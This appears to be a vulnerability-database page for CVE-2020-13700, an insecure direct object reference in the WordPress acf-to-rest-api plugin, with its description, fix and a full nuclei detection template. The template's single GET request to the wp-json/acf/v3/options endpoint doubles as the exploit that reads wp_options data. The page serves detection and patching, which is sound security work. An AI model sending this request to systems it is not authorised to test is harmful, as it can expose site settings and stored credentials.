Browse / CVEs / CVE-2020-13700
CVE-2020-13700· acf to rest api project / acf to rest api· CWE-639
WordPress acf-to-rest-api <=3.1.0 - Insecure Direct Object Reference
WordPress acf-to-rest-ap through 3.1.0 allows an insecure direct object reference via permalinks manipulation, as demonstrated by a wp-json/acf/v3/options/ request that can read sensitive information in the wp_options table such as the login and pass values.
Impact
An attacker can exploit this vulnerability to access sensitive data, such as user information or administrative credentials.
Fix
Update the acf-to-rest-api plugin to version >3.1.0 or apply the latest security patches.
How to confirm it
Send: GET {{BaseURL}}/wp-json/acf/v3/options/a?id=active&field=plugins
Positive when: contains in header "Content-Type: application/json" AND contains "acf-to-rest-api\\/class-acf-to-rest-api.php" AND status 200Run it with nuclei: nuclei -id CVE-2020-13700 -u <target>. This check is not marked as verified by its authors.
The full check
id: CVE-2020-13700
info:
name: WordPress acf-to-rest-api <=3.1.0 - Insecure Direct Object Reference
author: pikpikcu
severity: high
description: |
WordPress acf-to-rest-ap through 3.1.0 allows an insecure direct object reference via permalinks manipulation, as demonstrated by a wp-json/acf/v3/options/ request that can read sensitive information in the wp_options table such as the login and pass values.
impact: |
An attacker can exploit this vulnerability to access sensitive data, such as user information or administrative credentials.
remediation: |
Update the acf-to-rest-api plugin to version >3.1.0 or apply the latest security patches.
reference:
- https://gist.github.com/mariuszpoplwski/4fbaab7f271bea99c733e3f2a4bafbb5
- https://wordpress.org/plugins/acf-to-rest-api/#developers
- https://github.com/airesvsg/acf-to-rest-api
- https://nvd.nist.gov/vuln/detail/CVE-2020-13700
- https://github.com/ARPSyndicate/cvemon
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
cvss-score: 7.5
cve-id: CVE-2020-13700
cwe-id: CWE-639
epss-score: 0.13463
epss-percentile: 0.96468
cpe: cpe:2.3:a:acf_to_rest_api_project:acf_to_rest_api:*:*:*:*:*:wordpress:*:*
metadata:
max-request: 1
vendor: acf_to_rest_api_project
product: acf_to_rest_api
framework: wordpress
tags: cve,cve2020,wordpress,plugin,acf_to_rest_api_project,vuln
http:
- method: GET
path:
- '{{BaseURL}}/wp-json/acf/v3/options/a?id=active&field=plugins'
matchers-condition: and
matchers:
- type: word
part: header
words:
- 'Content-Type: application/json'
- type: word
part: body
words:
- 'acf-to-rest-api\/class-acf-to-rest-api.php'
condition: and
- type: status
status:
- 200References
- https://gist.github.com/mariuszpoplwski/4fbaab7f271bea99c733e3f2a4bafbb5
- https://wordpress.org/plugins/acf-to-rest-api/#developers
- https://github.com/airesvsg/acf-to-rest-api
- https://nvd.nist.gov/vuln/detail/CVE-2020-13700
- https://github.com/ARPSyndicate/cvemon
Use this check only on systems you are authorised to test. Where the data comes from